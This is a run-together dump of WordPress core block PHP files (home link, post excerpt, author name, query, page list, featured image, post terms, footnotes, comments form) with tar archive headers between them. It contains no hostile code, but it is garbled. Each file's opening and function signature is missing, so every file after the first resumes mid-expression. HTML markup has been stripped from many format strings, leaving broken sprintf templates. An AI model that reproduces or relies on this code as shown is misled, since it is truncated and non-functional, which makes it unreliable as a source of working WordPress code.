background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the home link markup in the front-end. * * @param array $context Home link block context. * @return array Font size CSS classes and inline styles. */ function block_core_home_link_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', $context['style']['typography']['fontSize'] ); } return $font_sizes; } /** * Builds an array with classes and style for the li wrapper * * @param array $context Home link block context. * @return string The li wrapper attributes. */ function block_core_home_link_build_li_wrapper_attributes( $context ) { $colors = block_core_home_link_build_css_colors( $context ); $font_sizes = block_core_home_link_build_css_font_sizes( $context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $classes[] = 'wp-block-navigation-item'; if ( is_front_page() ) { $classes[] = 'current-menu-item'; } elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) { // Edge case where the Reading settings has a posts page set but not a static homepage. $classes[] = 'current-menu-item'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ), 'style' => $style_attribute, ) ); return $wrapper_attributes; } /** * Renders the `core/home-link` block. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the post content with the home url added. */ function render_block_core_home_link( $attributes, $content, $block ) { if ( empty( $attributes['label'] ) ) { return ''; } $aria_current = ''; if ( is_front_page() ) { $aria_current = ' aria-current="page"'; } elseif ( is_home() && ( (int) get_option( 'page_for_posts' ) !== get_queried_object_id() ) ) { // Edge case where the Reading settings has a posts page set but not a static homepage. $aria_current = ' aria-current="page"'; } return sprintf( '
  • %4$s
  • ', block_core_home_link_build_li_wrapper_attributes( $block->context ), esc_url( home_url() ), $aria_current, wp_kses_post( $attributes['label'] ) ); } /** * Register the home block * * @uses render_block_core_home_link() * @throws WP_Error An WP_Error exception parsing the block definition. */ function register_block_core_home_link() { register_block_type_from_metadata( __DIR__ . '/home-link', array( 'render_callback' => 'render_block_core_home_link', ) ); } add_action( 'init', 'register_block_core_home_link' ); blocks/post-excerpt.php000064400000006521151202620300011162 0ustar00context['postId'] ) ) { return ''; } /* * The purpose of the excerpt length setting is to limit the length of both * automatically generated and user-created excerpts. * Because the excerpt_length filter only applies to auto generated excerpts, * wp_trim_words is used instead. */ $excerpt_length = $attributes['excerptLength']; $excerpt = get_the_excerpt( $block->context['postId'] ); if ( isset( $excerpt_length ) ) { $excerpt = wp_trim_words( $excerpt, $excerpt_length ); } $more_text = ! empty( $attributes['moreText'] ) ? '' . wp_kses_post( $attributes['moreText'] ) . '' : ''; $filter_excerpt_more = static function ( $more ) use ( $more_text ) { return empty( $more_text ) ? $more : ''; }; /** * Some themes might use `excerpt_more` filter to handle the * `more` link displayed after a trimmed excerpt. Since the * block has a `more text` attribute we have to check and * override if needed the return value from this filter. * So if the block's attribute is not empty override the * `excerpt_more` filter and return nothing. This will * result in showing only one `read more` link at a time. */ add_filter( 'excerpt_more', $filter_excerpt_more ); $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $content = '

    ' . $excerpt; $show_more_on_new_line = ! isset( $attributes['showMoreOnNewLine'] ) || $attributes['showMoreOnNewLine']; if ( $show_more_on_new_line && ! empty( $more_text ) ) { $content .= '

    ' . $more_text . '

    '; } else { $content .= " $more_text

    "; } remove_filter( 'excerpt_more', $filter_excerpt_more ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $content ); } /** * Registers the `core/post-excerpt` block on the server. */ function register_block_core_post_excerpt() { register_block_type_from_metadata( __DIR__ . '/post-excerpt', array( 'render_callback' => 'render_block_core_post_excerpt', ) ); } add_action( 'init', 'register_block_core_post_excerpt' ); /** * If themes or plugins filter the excerpt_length, we need to * override the filter in the editor, otherwise * the excerpt length block setting has no effect. * Returns 100 because 100 is the max length in the setting. */ if ( is_admin() || defined( 'REST_REQUEST' ) && REST_REQUEST ) { add_filter( 'excerpt_length', static function () { return 100; }, PHP_INT_MAX ); } blocks/post-author-name.php000064400000003322151202620300011724 0ustar00context['postId'] ) ) { return ''; } $author_id = get_post_field( 'post_author', $block->context['postId'] ); if ( empty( $author_id ) ) { return ''; } $author_name = get_the_author_meta( 'display_name', $author_id ); if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $author_name = sprintf( '', get_author_posts_url( $author_id ), esc_attr( $attributes['linkTarget'] ), $author_name ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '
    %2$s
    ', $wrapper_attributes, $author_name ); } /** * Registers the `core/post-author-name` block on the server. */ function register_block_core_post_author_name() { register_block_type_from_metadata( __DIR__ . '/post-author-name', array( 'render_callback' => 'render_block_core_post_author_name', ) ); } add_action( 'init', 'register_block_core_post_author_name' ); blocks/query.php000064400000016247151202620300007700 0ustar00next_tag() ) { // Add the necessary directives. $p->set_attribute( 'data-wp-interactive', true ); $p->set_attribute( 'data-wp-navigation-id', 'query-' . $attributes['queryId'] ); // Use context to send translated strings. $p->set_attribute( 'data-wp-context', wp_json_encode( array( 'core' => array( 'query' => array( 'loadingText' => __( 'Loading page, please wait.' ), 'loadedText' => __( 'Page Loaded.' ), ), ), ), JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP ) ); $content = $p->get_updated_html(); // Mark the block as interactive. $block->block_type->supports['interactivity'] = true; // Add a div to announce messages using `aria-live`. $html_tag = 'div'; if ( ! empty( $attributes['tagName'] ) ) { $html_tag = esc_attr( $attributes['tagName'] ); } $last_tag_position = strripos( $content, '' ); $content = substr_replace( $content, '
    ', $last_tag_position, 0 ); } } $view_asset = 'wp-block-query-view'; if ( ! wp_script_is( $view_asset ) ) { $script_handles = $block->block_type->view_script_handles; // If the script is not needed, and it is still in the `view_script_handles`, remove it. if ( ( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) ) && in_array( $view_asset, $script_handles, true ) ) { $block->block_type->view_script_handles = array_diff( $script_handles, array( $view_asset ) ); } // If the script is needed, but it was previously removed, add it again. if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $view_asset, $script_handles, true ) ) { $block->block_type->view_script_handles = array_merge( $script_handles, array( $view_asset ) ); } } $style_asset = 'wp-block-query'; if ( ! wp_style_is( $style_asset ) ) { $style_handles = $block->block_type->style_handles; // If the styles are not needed, and they are still in the `style_handles`, remove them. if ( ( ! $attributes['enhancedPagination'] || ! isset( $attributes['queryId'] ) ) && in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_diff( $style_handles, array( $style_asset ) ); } // If the styles are needed, but they were previously removed, add them again. if ( $attributes['enhancedPagination'] && isset( $attributes['queryId'] ) && ! in_array( $style_asset, $style_handles, true ) ) { $block->block_type->style_handles = array_merge( $style_handles, array( $style_asset ) ); } } return $content; } /** * Ensure that the view script has the `wp-interactivity` dependency. * * @since 6.4.0 * * @global WP_Scripts $wp_scripts */ function block_core_query_ensure_interactivity_dependency() { global $wp_scripts; if ( isset( $wp_scripts->registered['wp-block-query-view'] ) && ! in_array( 'wp-interactivity', $wp_scripts->registered['wp-block-query-view']->deps, true ) ) { $wp_scripts->registered['wp-block-query-view']->deps[] = 'wp-interactivity'; } } add_action( 'wp_print_scripts', 'block_core_query_ensure_interactivity_dependency' ); /** * Registers the `core/query` block on the server. */ function register_block_core_query() { register_block_type_from_metadata( __DIR__ . '/query', array( 'render_callback' => 'render_block_core_query', ) ); } add_action( 'init', 'register_block_core_query' ); /** * Traverse the tree of blocks looking for any plugin block (i.e., a block from * an installed plugin) inside a Query block with the enhanced pagination * enabled. If at least one is found, the enhanced pagination is effectively * disabled to prevent any potential incompatibilities. * * @since 6.4.0 * * @param array $parsed_block The block being rendered. * @return string Returns the parsed block, unmodified. */ function block_core_query_disable_enhanced_pagination( $parsed_block ) { static $enhanced_query_stack = array(); static $dirty_enhanced_queries = array(); static $render_query_callback = null; $block_name = $parsed_block['blockName']; if ( 'core/query' === $block_name && isset( $parsed_block['attrs']['enhancedPagination'] ) && true === $parsed_block['attrs']['enhancedPagination'] && isset( $parsed_block['attrs']['queryId'] ) ) { $enhanced_query_stack[] = $parsed_block['attrs']['queryId']; if ( ! isset( $render_query_callback ) ) { /** * Filter that disables the enhanced pagination feature during block * rendering when a plugin block has been found inside. It does so * by adding an attribute called `data-wp-navigation-disabled` which * is later handled by the front-end logic. * * @param string $content The block content. * @param array $block The full block, including name and attributes. * @return string Returns the modified output of the query block. */ $render_query_callback = static function ( $content, $block ) use ( &$enhanced_query_stack, &$dirty_enhanced_queries, &$render_query_callback ) { $has_enhanced_pagination = isset( $block['attrs']['enhancedPagination'] ) && true === $block['attrs']['enhancedPagination'] && isset( $block['attrs']['queryId'] ); if ( ! $has_enhanced_pagination ) { return $content; } if ( isset( $dirty_enhanced_queries[ $block['attrs']['queryId'] ] ) ) { $p = new WP_HTML_Tag_Processor( $content ); if ( $p->next_tag() ) { $p->set_attribute( 'data-wp-navigation-disabled', 'true' ); } $content = $p->get_updated_html(); $dirty_enhanced_queries[ $block['attrs']['queryId'] ] = null; } array_pop( $enhanced_query_stack ); if ( empty( $enhanced_query_stack ) ) { remove_filter( 'render_block_core/query', $render_query_callback ); $render_query_callback = null; } return $content; }; add_filter( 'render_block_core/query', $render_query_callback, 10, 2 ); } } elseif ( ! empty( $enhanced_query_stack ) && isset( $block_name ) && ( ! str_starts_with( $block_name, 'core/' ) || 'core/post-content' === $block_name ) ) { foreach ( $enhanced_query_stack as $query_id ) { $dirty_enhanced_queries[ $query_id ] = true; } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_query_disable_enhanced_pagination', 10, 1 ); blocks/page-list.php000064400000032214151202620300010410 0ustar00 array(), 'inline_styles' => '', 'overlay_css_classes' => array(), 'overlay_inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $context ); $has_picked_text_color = array_key_exists( 'customTextColor', $context ); $has_custom_text_color = isset( $context['style']['color']['text'] ); // If has text color. if ( $has_custom_text_color || $has_picked_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['textColor'] ) ); } elseif ( $has_picked_text_color ) { $colors['inline_styles'] .= sprintf( 'color: %s;', $context['customTextColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $context['style']['color']['text'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $context ); $has_picked_background_color = array_key_exists( 'customBackgroundColor', $context ); $has_custom_background_color = isset( $context['style']['color']['background'] ); // If has background color. if ( $has_custom_background_color || $has_picked_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['backgroundColor'] ) ); } elseif ( $has_picked_background_color ) { $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['customBackgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $context['style']['color']['background'] ); } // Overlay text color. $has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $context ); $has_picked_overlay_text_color = array_key_exists( 'customOverlayTextColor', $context ); // If it has a text color. if ( $has_named_overlay_text_color || $has_picked_overlay_text_color ) { $colors['overlay_css_classes'][] = 'has-text-color'; } // Give overlay colors priority, fall back to Navigation block colors, then global styles. if ( $has_named_overlay_text_color ) { $colors['overlay_css_classes'][] = sprintf( 'has-%s-color', _wp_to_kebab_case( $context['overlayTextColor'] ) ); } elseif ( $has_picked_overlay_text_color ) { $colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $context['customOverlayTextColor'] ); } // Overlay background colors. $has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $context ); $has_picked_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $context ); // If has background color. if ( $has_named_overlay_background_color || $has_picked_overlay_background_color ) { $colors['overlay_css_classes'][] = 'has-background'; } if ( $has_named_overlay_background_color ) { $colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', _wp_to_kebab_case( $context['overlayBackgroundColor'] ) ); } elseif ( $has_picked_overlay_background_color ) { $colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $context['customOverlayBackgroundColor'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the pages markup in the front-end when it is a descendant of navigation. * * @param array $context Navigation block context. * @return array Font size CSS classes and inline styles. */ function block_core_page_list_build_css_font_sizes( $context ) { // CSS classes. $font_sizes = array( 'css_classes' => array(), 'inline_styles' => '', ); $has_named_font_size = array_key_exists( 'fontSize', $context ); $has_custom_font_size = isset( $context['style']['typography']['fontSize'] ); if ( $has_named_font_size ) { // Add the font size class. $font_sizes['css_classes'][] = sprintf( 'has-%s-font-size', $context['fontSize'] ); } elseif ( $has_custom_font_size ) { // Add the custom font size inline style. $font_sizes['inline_styles'] = sprintf( 'font-size: %s;', wp_get_typography_font_size_value( array( 'size' => $context['style']['typography']['fontSize'], ) ) ); } return $font_sizes; } /** * Outputs Page list markup from an array of pages with nested children. * * @param boolean $open_submenus_on_click Whether to open submenus on click instead of hover. * @param boolean $show_submenu_icons Whether to show submenu indicator icons. * @param boolean $is_navigation_child If block is a child of Navigation block. * @param array $nested_pages The array of nested pages. * @param boolean $is_nested Whether the submenu is nested or not. * @param array $active_page_ancestor_ids An array of ancestor ids for active page. * @param array $colors Color information for overlay styles. * @param integer $depth The nesting depth. * * @return string List markup. */ function block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids = array(), $colors = array(), $depth = 0 ) { if ( empty( $nested_pages ) ) { return; } $front_page_id = (int) get_option( 'page_on_front' ); $markup = ''; foreach ( (array) $nested_pages as $page ) { $css_class = $page['is_active'] ? ' current-menu-item' : ''; $aria_current = $page['is_active'] ? ' aria-current="page"' : ''; $style_attribute = ''; $css_class .= in_array( $page['page_id'], $active_page_ancestor_ids, true ) ? ' current-menu-ancestor' : ''; if ( isset( $page['children'] ) ) { $css_class .= ' has-child'; } if ( $is_navigation_child ) { $css_class .= ' wp-block-navigation-item'; if ( $open_submenus_on_click ) { $css_class .= ' open-on-click'; } elseif ( $show_submenu_icons ) { $css_class .= ' open-on-hover-click'; } } $navigation_child_content_class = $is_navigation_child ? ' wp-block-navigation-item__content' : ''; // If this is the first level of submenus, include the overlay colors. if ( ( ( 0 < $depth && ! $is_nested ) || $is_nested ) && isset( $colors['overlay_css_classes'], $colors['overlay_inline_styles'] ) ) { $css_class .= ' ' . trim( implode( ' ', $colors['overlay_css_classes'] ) ); if ( '' !== $colors['overlay_inline_styles'] ) { $style_attribute = sprintf( ' style="%s"', esc_attr( $colors['overlay_inline_styles'] ) ); } } if ( (int) $page['page_id'] === $front_page_id ) { $css_class .= ' menu-item-home'; } $title = wp_kses_post( $page['title'] ); $aria_label = sprintf( /* translators: Accessibility text. %s: Parent page title. */ __( '%s submenu' ), wp_strip_all_tags( $title ) ); $markup .= '
  • '; if ( isset( $page['children'] ) && $is_navigation_child && $open_submenus_on_click ) { $markup .= ''; } else { $markup .= '' . $title . ''; } if ( isset( $page['children'] ) ) { if ( $is_navigation_child && $show_submenu_icons && ! $open_submenus_on_click ) { $markup .= ''; } $markup .= '
      '; $markup .= block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $page['children'], $is_nested, $active_page_ancestor_ids, $colors, $depth + 1 ); $markup .= '
    '; } $markup .= '
  • '; } return $markup; } /** * Outputs nested array of pages * * @param array $current_level The level being iterated through. * @param array $children The children grouped by parent post ID. * * @return array The nested array of pages. */ function block_core_page_list_nest_pages( $current_level, $children ) { if ( empty( $current_level ) ) { return; } foreach ( (array) $current_level as $key => $current ) { if ( isset( $children[ $key ] ) ) { $current_level[ $key ]['children'] = block_core_page_list_nest_pages( $children[ $key ], $children ); } } return $current_level; } /** * Renders the `core/page-list` block on server. * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * * @return string Returns the page list markup. */ function render_block_core_page_list( $attributes, $content, $block ) { static $block_id = 0; ++$block_id; $parent_page_id = $attributes['parentPageID']; $is_nested = $attributes['isNested']; $all_pages = get_pages( array( 'sort_column' => 'menu_order,post_title', 'order' => 'asc', ) ); // If there are no pages, there is nothing to show. if ( empty( $all_pages ) ) { return; } $top_level_pages = array(); $pages_with_children = array(); $active_page_ancestor_ids = array(); foreach ( (array) $all_pages as $page ) { $is_active = ! empty( $page->ID ) && ( get_queried_object_id() === $page->ID ); if ( $is_active ) { $active_page_ancestor_ids = get_post_ancestors( $page->ID ); } if ( $page->post_parent ) { $pages_with_children[ $page->post_parent ][ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page ), 'is_active' => $is_active, ); } else { $top_level_pages[ $page->ID ] = array( 'page_id' => $page->ID, 'title' => $page->post_title, 'link' => get_permalink( $page ), 'is_active' => $is_active, ); } } $colors = block_core_page_list_build_css_colors( $attributes, $block->context ); $font_sizes = block_core_page_list_build_css_font_sizes( $block->context ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'] ); $style_attribute = ( $colors['inline_styles'] . $font_sizes['inline_styles'] ); $css_classes = trim( implode( ' ', $classes ) ); $nested_pages = block_core_page_list_nest_pages( $top_level_pages, $pages_with_children ); if ( 0 !== $parent_page_id ) { // If the parent page has no child pages, there is nothing to show. if ( ! array_key_exists( $parent_page_id, $pages_with_children ) ) { return; } $nested_pages = block_core_page_list_nest_pages( $pages_with_children[ $parent_page_id ], $pages_with_children ); } $is_navigation_child = array_key_exists( 'showSubmenuIcon', $block->context ); $open_submenus_on_click = array_key_exists( 'openSubmenusOnClick', $block->context ) ? $block->context['openSubmenusOnClick'] : false; $show_submenu_icons = array_key_exists( 'showSubmenuIcon', $block->context ) ? $block->context['showSubmenuIcon'] : false; $wrapper_markup = $is_nested ? '%2$s' : '
      %2$s
    '; $items_markup = block_core_page_list_render_nested_page_list( $open_submenus_on_click, $show_submenu_icons, $is_navigation_child, $nested_pages, $is_nested, $active_page_ancestor_ids, $colors ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $css_classes, 'style' => $style_attribute, ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Registers the `core/pages` block on server. */ function register_block_core_page_list() { register_block_type_from_metadata( __DIR__ . '/page-list', array( 'render_callback' => 'render_block_core_page_list', ) ); } add_action( 'init', 'register_block_core_page_list' ); blocks/post-featured-image.php000064400000016577151202620300012403 0ustar00context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $is_link = isset( $attributes['isLink'] ) && $attributes['isLink']; $size_slug = isset( $attributes['sizeSlug'] ) ? $attributes['sizeSlug'] : 'post-thumbnail'; $attr = get_block_core_post_featured_image_border_attributes( $attributes ); $overlay_markup = get_block_core_post_featured_image_overlay_element_markup( $attributes ); if ( $is_link ) { if ( get_the_title( $post_ID ) ) { $attr['alt'] = trim( strip_tags( get_the_title( $post_ID ) ) ); } else { $attr['alt'] = sprintf( // translators: %d is the post ID. __( 'Untitled post %d' ), $post_ID ); } } $extra_styles = ''; // Aspect ratio with a height set needs to override the default width/height. if ( ! empty( $attributes['aspectRatio'] ) ) { $extra_styles .= 'width:100%;height:100%;'; } elseif ( ! empty( $attributes['height'] ) ) { $extra_styles .= "height:{$attributes['height']};"; } if ( ! empty( $attributes['scale'] ) ) { $extra_styles .= "object-fit:{$attributes['scale']};"; } if ( ! empty( $extra_styles ) ) { $attr['style'] = empty( $attr['style'] ) ? $extra_styles : $attr['style'] . $extra_styles; } $featured_image = get_the_post_thumbnail( $post_ID, $size_slug, $attr ); if ( ! $featured_image ) { return ''; } if ( $is_link ) { $link_target = $attributes['linkTarget']; $rel = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : ''; $height = ! empty( $attributes['height'] ) ? 'style="' . esc_attr( safecss_filter_attr( 'height:' . $attributes['height'] ) ) . '"' : ''; $featured_image = sprintf( '%5$s%6$s', get_the_permalink( $post_ID ), esc_attr( $link_target ), $rel, $height, $featured_image, $overlay_markup ); } else { $featured_image = $featured_image . $overlay_markup; } $aspect_ratio = ! empty( $attributes['aspectRatio'] ) ? esc_attr( safecss_filter_attr( 'aspect-ratio:' . $attributes['aspectRatio'] ) ) . ';' : ''; $width = ! empty( $attributes['width'] ) ? esc_attr( safecss_filter_attr( 'width:' . $attributes['width'] ) ) . ';' : ''; $height = ! empty( $attributes['height'] ) ? esc_attr( safecss_filter_attr( 'height:' . $attributes['height'] ) ) . ';' : ''; if ( ! $height && ! $width && ! $aspect_ratio ) { $wrapper_attributes = get_block_wrapper_attributes(); } else { $wrapper_attributes = get_block_wrapper_attributes( array( 'style' => $aspect_ratio . $width . $height ) ); } return "
    {$featured_image}
    "; } /** * Generate markup for the HTML element that will be used for the overlay. * * @param array $attributes Block attributes. * * @return string HTML markup in string format. */ function get_block_core_post_featured_image_overlay_element_markup( $attributes ) { $has_dim_background = isset( $attributes['dimRatio'] ) && $attributes['dimRatio']; $has_gradient = isset( $attributes['gradient'] ) && $attributes['gradient']; $has_custom_gradient = isset( $attributes['customGradient'] ) && $attributes['customGradient']; $has_solid_overlay = isset( $attributes['overlayColor'] ) && $attributes['overlayColor']; $has_custom_overlay = isset( $attributes['customOverlayColor'] ) && $attributes['customOverlayColor']; $class_names = array( 'wp-block-post-featured-image__overlay' ); $styles = array(); if ( ! $has_dim_background ) { return ''; } // Apply border classes and styles. $border_attributes = get_block_core_post_featured_image_border_attributes( $attributes ); if ( ! empty( $border_attributes['class'] ) ) { $class_names[] = $border_attributes['class']; } if ( ! empty( $border_attributes['style'] ) ) { $styles[] = $border_attributes['style']; } // Apply overlay and gradient classes. if ( $has_dim_background ) { $class_names[] = 'has-background-dim'; $class_names[] = "has-background-dim-{$attributes['dimRatio']}"; } if ( $has_solid_overlay ) { $class_names[] = "has-{$attributes['overlayColor']}-background-color"; } if ( $has_gradient || $has_custom_gradient ) { $class_names[] = 'has-background-gradient'; } if ( $has_gradient ) { $class_names[] = "has-{$attributes['gradient']}-gradient-background"; } // Apply background styles. if ( $has_custom_gradient ) { $styles[] = sprintf( 'background-image: %s;', $attributes['customGradient'] ); } if ( $has_custom_overlay ) { $styles[] = sprintf( 'background-color: %s;', $attributes['customOverlayColor'] ); } return sprintf( '', esc_attr( implode( ' ', $class_names ) ), esc_attr( safecss_filter_attr( implode( ' ', $styles ) ) ) ); } /** * Generates class names and styles to apply the border support styles for * the Post Featured Image block. * * @param array $attributes The block attributes. * @return array The border-related classnames and styles for the block. */ function get_block_core_post_featured_image_border_attributes( $attributes ) { $border_styles = array(); $sides = array( 'top', 'right', 'bottom', 'left' ); // Border radius. if ( isset( $attributes['style']['border']['radius'] ) ) { $border_styles['radius'] = $attributes['style']['border']['radius']; } // Border style. if ( isset( $attributes['style']['border']['style'] ) ) { $border_styles['style'] = $attributes['style']['border']['style']; } // Border width. if ( isset( $attributes['style']['border']['width'] ) ) { $border_styles['width'] = $attributes['style']['border']['width']; } // Border color. $preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null; $custom_color = $attributes['style']['border']['color'] ?? null; $border_styles['color'] = $preset_color ? $preset_color : $custom_color; // Individual border styles e.g. top, left etc. foreach ( $sides as $side ) { $border = $attributes['style']['border'][ $side ] ?? null; $border_styles[ $side ] = array( 'color' => isset( $border['color'] ) ? $border['color'] : null, 'style' => isset( $border['style'] ) ? $border['style'] : null, 'width' => isset( $border['width'] ) ? $border['width'] : null, ); } $styles = wp_style_engine_get_styles( array( 'border' => $border_styles ) ); $attributes = array(); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Registers the `core/post-featured-image` block on the server. */ function register_block_core_post_featured_image() { register_block_type_from_metadata( __DIR__ . '/post-featured-image', array( 'render_callback' => 'render_block_core_post_featured_image', ) ); } add_action( 'init', 'register_block_core_post_featured_image' ); blocks/post-terms.php000064400000006472151202620300010647 0ustar00context['postId'] ) || ! isset( $attributes['term'] ) ) { return ''; } if ( ! is_taxonomy_viewable( $attributes['term'] ) ) { return ''; } $post_terms = get_the_terms( $block->context['postId'], $attributes['term'] ); if ( is_wp_error( $post_terms ) || empty( $post_terms ) ) { return ''; } $classes = array( 'taxonomy-' . $attributes['term'] ); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $separator = empty( $attributes['separator'] ) ? ' ' : $attributes['separator']; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $prefix = "
    "; if ( isset( $attributes['prefix'] ) && $attributes['prefix'] ) { $prefix .= '' . $attributes['prefix'] . ''; } $suffix = '
    '; if ( isset( $attributes['suffix'] ) && $attributes['suffix'] ) { $suffix = '' . $attributes['suffix'] . '' . $suffix; } return get_the_term_list( $block->context['postId'], $attributes['term'], wp_kses_post( $prefix ), '' . esc_html( $separator ) . '', wp_kses_post( $suffix ) ); } /** * Registers the `core/post-terms` block on the server. */ function register_block_core_post_terms() { $taxonomies = get_taxonomies( array( 'publicly_queryable' => true, 'show_in_rest' => true, ), 'objects' ); // Split the available taxonomies to `built_in` and custom ones, // in order to prioritize the `built_in` taxonomies at the // search results. $built_ins = array(); $custom_variations = array(); // Create and register the eligible taxonomies variations. foreach ( $taxonomies as $taxonomy ) { $variation = array( 'name' => $taxonomy->name, 'title' => $taxonomy->label, 'description' => sprintf( /* translators: %s: taxonomy's label */ __( 'Display a list of assigned terms from the taxonomy: %s' ), $taxonomy->label ), 'attributes' => array( 'term' => $taxonomy->name, ), 'isActive' => array( 'term' ), 'scope' => array( 'inserter', 'transform' ), ); // Set the category variation as the default one. if ( 'category' === $taxonomy->name ) { $variation['isDefault'] = true; } if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $custom_variations[] = $variation; } } register_block_type_from_metadata( __DIR__ . '/post-terms', array( 'render_callback' => 'render_block_core_post_terms', 'variations' => array_merge( $built_ins, $custom_variations ), ) ); } add_action( 'init', 'register_block_core_post_terms' ); blocks/footnotes.php000064400000006040151202620300010541 0ustar00context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $footnotes = get_post_meta( $block->context['postId'], 'footnotes', true ); if ( ! $footnotes ) { return; } $footnotes = json_decode( $footnotes, true ); if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes(); $footnote_index = 1; $block_content = ''; foreach ( $footnotes as $footnote ) { // Translators: %d: Integer representing the number of return links on the page. $aria_label = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index ); $block_content .= sprintf( '
  • %2$s ↩︎
  • ', $footnote['id'], $footnote['content'], $aria_label ); ++$footnote_index; } return sprintf( '
      %2$s
    ', $wrapper_attributes, $block_content ); } /** * Registers the `core/footnotes` block on the server. * * @since 6.3.0 */ function register_block_core_footnotes() { foreach ( array( 'post', 'page' ) as $post_type ) { register_post_meta( $post_type, 'footnotes', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'revisions_enabled' => true, ) ); } register_block_type_from_metadata( __DIR__ . '/footnotes', array( 'render_callback' => 'render_block_core_footnotes', ) ); } add_action( 'init', 'register_block_core_footnotes' ); /** * Adds the footnotes field to the revisions display. * * @since 6.3.0 * * @param array $fields The revision fields. * @return array The revision fields. */ function wp_add_footnotes_to_revision( $fields ) { $fields['footnotes'] = __( 'Footnotes' ); return $fields; } add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' ); /** * Gets the footnotes field from the revision for the revisions screen. * * @since 6.3.0 * * @param string $revision_field The field value, but $revision->$field * (footnotes) does not exist. * @param string $field The field name, in this case "footnotes". * @param object $revision The revision object to compare against. * @return string The field value. */ function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) { return get_metadata( 'post', $revision->ID, $field, true ); } add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 ); blocks/post-comments-form.php000064400000005274151202620300012302 0ustar00context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $classes = array( 'comment-respond' ); // See comment further below. if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . 